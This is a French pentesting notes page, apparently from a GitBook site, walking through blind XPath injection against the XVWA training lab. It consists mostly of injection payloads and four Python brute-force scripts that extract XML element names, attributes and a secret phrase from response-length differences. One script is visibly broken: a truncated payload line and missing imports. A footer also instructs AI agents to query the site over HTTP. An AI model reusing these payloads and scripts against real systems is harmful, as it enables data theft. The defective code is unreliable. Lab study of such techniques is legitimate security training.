> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# Techniques d’injection XPath

Ceci est la page web où vous saisissez un certain nombre de cafés et d'autres champs tels que **l'identifiant, le titre, la description**, etc.

<figure><img src="/files/1499c7a4791ae3fd1a28b581ed6576261c744d76" alt=""><figcaption></figcaption></figure>

Voici le **fichier XML** dont nous devons essayer d'obtenir le contenu :

<figure><img src="/files/7d372c3d26c04d041266e704b971926b1ccf936c" alt="" width="563"><figcaption></figcaption></figure>

### Étapes d'injection :

#### **Filtrer l'élément XML principal :**

Filtrer avec **substring** si la première lettre du mot Coffees commence par C :

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/ddc02d8d3dfce82772b13942222810d39bce6995" alt="" width="563"><figcaption></figcaption></figure>

Ceci **Python** ce script automatise l'ensemble du processus :

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
## Techniques d'injection XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Brute force attack")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("Brute force attack concluded")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/021f28aba6d1107f1ec15cdb7c15562923d24951" alt="" width="563"><figcaption></figcaption></figure>

#### Filtrer le sous-élément XML :

Filtrer avec **substring** si la première lettre du mot Coffee commence par C :

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/df7a44d20b99165f69eb2cc5c7fc0b1cbb7e6ef2" alt="" width="563"><figcaption></figcaption></figure>

Ceci **Python** ce script automatise l'ensemble du processus :

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## Techniques d'injection XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Brute force attack")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Data")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("Brute force attack concluded")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/26acee7d2694198857ee401a3d94437790787123" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtrer les attributs XML :**

Filtrer avec **substring** si la première lettre du mot ID commence par I :

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/7b27096023b53aecb247c30ddfcdf1c370f64285" alt="" width="563"><figcaption></figcaption></figure>

Ceci **Python** ce script automatise l'ensemble du processus :

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Exiting.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("Brute force attack")
     p1.status("Démarrage de l'attaque par force brute")
     time.sleep(2)
     p2 = log.progress("Data")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("Brute force attack concluded")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/e88acb2df447982a0b352419e9a7cfb2d798fef8" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtrer les attributs XML du contenu :**

Nous filtrons avec le **substring** si la première lettre de la phrase secrète commence par T :

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/4998e0dcda5f29e31cee9bfdb14f1dce49b11c39" alt="" width="563"><figcaption></figcaption></figure>

Ceci **Python** ce script automatise l'ensemble du processus :

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## Techniques d'injection XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("Brute force attack")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Data")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("Brute force attack concluded")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/a96f3a479dd8a556fee4728128b1aa7f34ac53d8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
